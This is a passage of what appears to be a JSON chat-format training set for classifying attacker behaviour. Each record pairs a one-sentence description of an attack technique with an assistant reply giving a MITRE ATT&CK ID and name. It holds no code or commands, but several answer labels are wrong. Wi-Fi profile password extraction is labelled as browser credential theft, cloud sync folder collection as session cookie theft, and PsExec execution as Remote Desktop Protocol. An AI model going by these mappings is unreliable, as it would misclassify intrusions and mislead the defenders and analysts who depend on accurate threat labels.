                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion sets up a persistent malicious service that listens on a network port and provides remote command execution capabilities to the attacker."
            },
            {
                "role": "assistant",
                "content": "T1569 - System Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a drive‑by download on a compromised website to deliver a malicious JavaScript payload."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker maps the victim organization's ecosystem by aggregating data from social media, business directories, and industry association memberships."
            },
            {
                "role": "assistant",
                "content": "T1591.002 - Gather Victim Org Information: Business Relationships"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers add a hidden user to the Windows SAM database by setting the account’s 'Account is disabled' flag and using a non‑standard SID prefix."
            },
            {
                "role": "assistant",
                "content": "T1564.002 - Hide Artifacts: Hidden Users"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor leverages a legitimate file transfer utility to deliver a payload onto a target machine."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker used a credential‑stealing payload that specifically targeted unsecured credentials embedded in Slack channel messages, harvesting them for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1552.008 - Unsecured Credentials: Chat Messages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses PowerShell to invoke Remove-MailboxFolderPermission and then empties the mailbox contents, erasing indicators of compromise."
            },
            {
                "role": "assistant",
                "content": "T1070.008 - Indicator Removal: Clear Mailbox Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors compress and fragment data, ensuring each transfer stays under IDS limits."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan drops a PowerShell script that uses the Invoke-Expression cmdlet to run obfuscated code."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit records audio from the system's microphone and uploads the recording."
            },
            {
                "role": "assistant",
                "content": "T1123 - Audio Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion sets up a scheduled task that calls netsh, which in turn triggers the malicious Netsh helper DLL to launch malware without user interaction."
            },
            {
                "role": "assistant",
                "content": "T1546.007 - Event Triggered Execution: Netsh Helper DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cyber‑criminal utilizes the CDN provider’s search interface to find unpurged media assets containing sensitive information."
            },
            {
                "role": "assistant",
                "content": "T1596.004 - Search Open Technical Databases: CDNs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker drops a DLL into the AppCertDLLs directory and modifies the registry to point to it, causing the DLL to be executed by the system."
            },
            {
                "role": "assistant",
                "content": "T1546.009 - Event Triggered Execution: AppCert DLLs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation script creates a launch agent that points to a remote executable, achieving persistence after reboots."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor alters instance metadata on a cloud VM to exfiltrate credentials and configuration data."
            },
            {
                "role": "assistant",
                "content": "T1578.005 - Modify Cloud Compute Infrastructure: Modify Cloud Compute Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors used plain SMTP (no TLS) to email large data files to an external mail server they control."
            },
            {
                "role": "assistant",
                "content": "T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set resets the timestamps on compromised executable files to the system install date."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit kit on a compromised news site leverages CVE‑2021‑26855 to deliver a PowerShell payload when the page loads."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting mshta.exe, the attacker ran a remote script from an HTTP server, allowing remote code execution without writing files to disk."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - System Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker replaces the router's ROMMON environment with a malicious image to gain persistent code execution before the OS loads."
            },
            {
                "role": "assistant",
                "content": "T1542.004 - Pre-OS Boot: ROMMONkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker crafts a malicious executable named \"svchost.exe‮.txt\" using a Right-to-Left Override Unicode character so the file appears as a legitimate .exe to the user."
            },
            {
                "role": "assistant",
                "content": "T1036.002 - Masquerading: Right-to-Left Override"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker leverages stolen OAuth refresh tokens to generate new access tokens and access cloud resources."
            },
            {
                "role": "assistant",
                "content": "T1550 - Use Alternate Authentication Material"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign instructs users to enable the high-contrast mode, which has been backdoored to execute a hidden script on activation."
            },
            {
                "role": "assistant",
                "content": "T1546.008 - Event Triggered Execution: Accessibility Features"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker employs a kernel driver to dump credentials from memory, bypassing user‑mode restrictions."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit an exposed Kubernetes API server endpoint to list Secrets objects that contain container image pull credentials without needing authentication."
            },
            {
                "role": "assistant",
                "content": "T1552.007 - Unsecured Credentials: Container API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware gathers data from cloud storage sync folders like OneDrive and Dropbox."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A dropper silently installs a cryptor that encrypts all files in the user's Documents folder and replaces them with unreadable versions, followed by a ransom note displayed on login."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware extracts stored Wi‑Fi passwords from the Windows WLAN profile XML files."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors leverage the unsecured password storage in Group Policy Preferences to pull service account credentials from the SYSVOL share."
            },
            {
                "role": "assistant",
                "content": "T1552.006 - Unsecured Credentials: Group Policy Preferences"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker captures credential hashes from a compromised system and reuses them to authenticate to other machines without cracking them."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware sends a command to the host to perform a secure erase of the boot volume."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor abuses Verclsid, a system binary, to proxy execution of a downloaded payload, disguising the activity as normal Windows processes."
            },
            {
                "role": "assistant",
                "content": "T1218.012 - System Binary Proxy Execution: Verclsid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker enumerates HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run to find persistence mechanisms."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group uses SMB protocol to silently copy confidential files to a network share on an external server under the guise of normal file sharing."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor collects information on the victim's network topology by analyzing publicly available network maps."
            },
            {
                "role": "assistant",
                "content": "T1590.004 - Gather Victim Network Information: Network Topology"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors abuse the IMAP protocol to download hidden command files from a compromised mailbox."
            },
            {
                "role": "assistant",
                "content": "T1071.003 - Application Layer Protocol: Mail Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation script uses the \"finger\" protocol to list user accounts and hostnames of connected machines on the network."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries alter the domain's Group Policy to disable Windows Defender on all endpoints in the network."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware modifies system startup scripts to launch a background process that mines Monero, exhausting system resources."
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team operators develop custom exploits for a privilege escalation vulnerability in Linux."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors harvest credentials from the credential store used by Microsoft Office applications."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leverages compromised service account to spin up a Kubernetes pod that behaves like a new compute instance."
            },
            {
                "role": "assistant",
                "content": "T1578.002 - Modify Cloud Compute Infrastructure: Create Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary employs PsExec to execute commands on a remote Windows machine using credential theft."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries generate DNS queries on the compromised host to resolve the IP address of a remote C2 server at runtime."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By hooking into the system's interrupt routine, the threat actor prevents the cleanup of its artifacts when the process is terminated."
            },
            {
                "role": "assistant",
                "content": "T1564.011 - Hide Artifacts: Ignore Process Interrupts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker overwrites a legitimate PDF on a shared folder with a maliciously altered version containing a hidden payload, hoping users will open it."
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious JavaScript file is placed on the server, acting as a web shell that receives commands via GET parameters."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Creation of a new boot execute entry (e.g., HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\BootExecute) to run a malicious script during boot."
            },
            {
                "role": "assistant",
                "content": "T1547 - Boot or Logon Autostart Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries embed command and control data within DNS and other non‑application layer protocols to bypass firewalls."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious software employs the DCOM protocol to remotely instantiate COM objects on another machine."
            },
            {
                "role": "assistant",
                "content": "T1021.003 - Remote Services: Distributed Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder edits the log retention policy in Google Cloud's operations suite, setting it to zero days so logs are instantly deleted."
            },
            {
                "role": "assistant",
                "content": "T1562.008 - Impair Defenses: Disable or Modify Cloud Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits weak passwords by repeatedly trying common passwords on an SMB share authentication."
            },
            {
                "role": "assistant",
                "content": "T1110 - Brute Force"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor obtains a tailored risk assessment from a vendor, using the information to plan lateral movement within the victim network."
            },
            {
                "role": "assistant",
                "content": "T1597.001 - Search Closed Sources: Threat Intel Vendors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker copies the malicious payload onto any connected USB flash drive to ensure the malware spreads to other systems."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant encrypts beacon data with a custom RC4 key to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses credential dumping tools on a compromised system to retrieve password hashes for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages a cloud‑based web API as a dead‑drop, allowing the compromised system to fetch payloads without a persistent connection."
            },
            {
                "role": "assistant",
                "content": "T1102.001 - Web Service: Dead Drop Resolver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary creates a function in .bashrc that triggers a credential dumping tool whenever the cd command is used."
            },
            {
                "role": "assistant",
                "content": "T1546.004 - Event Triggered Execution: Unix Shell Configuration Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By modifying the file's NTFS alternate data streams, the threat actor clears the MOTW metadata, allowing the malicious file to run without security prompts."
            },
            {
                "role": "assistant",
                "content": "T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker creates a new system service using launchctl load to start a malicious executable automatically."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An Office template with embedded VBA code is placed in the startup folder, causing the macro to execute on every Office launch."
            },
            {
                "role": "assistant",
                "content": "T1137.001 - Office Application Startup: Office Template Macros"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries swap out the Windows System32 DLLs with tampered copies to alter system behavior."
            },
            {
                "role": "assistant",
                "content": "T1601 - Modify System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious payload generates endless ICMP echo requests directed at the host's network stack, depleting memory buffers and leading to a service exhaustion flood."
            },
            {
                "role": "assistant",
                "content": "T1499.002 - Endpoint Denial of Service: Service Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operators configure VNC over port 5900 to stealthily control target workstations after initial compromise."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries capture keyboard input via a keylogging malware to harvest user passwords."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performs reconnaissance by enumerating victim-owned websites through WHOIS lookups and reverse IP searches."
            },
            {
                "role": "assistant",
                "content": "T1594 - Search Victim-Owned Websites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker calls a user pretending to be from the IT help desk, requests the user's multi‑factor authentication token, and records the information for later use."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT groups modify the Outlook startup configuration so that the client loads a malicious HTML page as soon as it is opened."
            },
            {
                "role": "assistant",
                "content": "T1137.004 - Office Application Startup: Outlook Home Page"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor enumerates domain trusts via the Netlogon service to map the trust topology."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion sets a malicious DLL as the Terminal Services virtual channel handler, enabling remote code execution each time a RDP session is opened."
            },
            {
                "role": "assistant",
                "content": "T1505.005 - Server Software Component: Terminal Services DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits the System.Management.Automation remoting feature to send commands that are executed on the target machine without direct invocation."
            },
            {
                "role": "assistant",
                "content": "T1202 - Indirect Command Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor leveraged a stolen Okta admin dashboard session to create a new SAML application for credential harvesting."
            },
            {
                "role": "assistant",
                "content": "T1538 - Cloud Service Dashboard"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign attached a weaponized file named \"report.pdf.exe\", relying on the victim's OS to execute the hidden .exe component."
            },
            {
                "role": "assistant",
                "content": "T1036.008 - Masquerading: Masquerade File Type"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker disables AWS CloudTrail logging by removing the necessary IAM permissions, preventing any new events from being recorded."
            },
            {
                "role": "assistant",
                "content": "T1562.008 - Impair Defenses: Disable or Modify Cloud Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a zero‑day exploit for a critical DNS server vulnerability to expand their ability to hijack network traffic."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers created a new repository on a cloud‑based code hosting platform and committed exfiltrated files, leveraging the service's web interface for data transfer."
            },
            {
                "role": "assistant",
                "content": "T1567.001 - Exfiltration Over Web Service: Exfiltration to Code Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
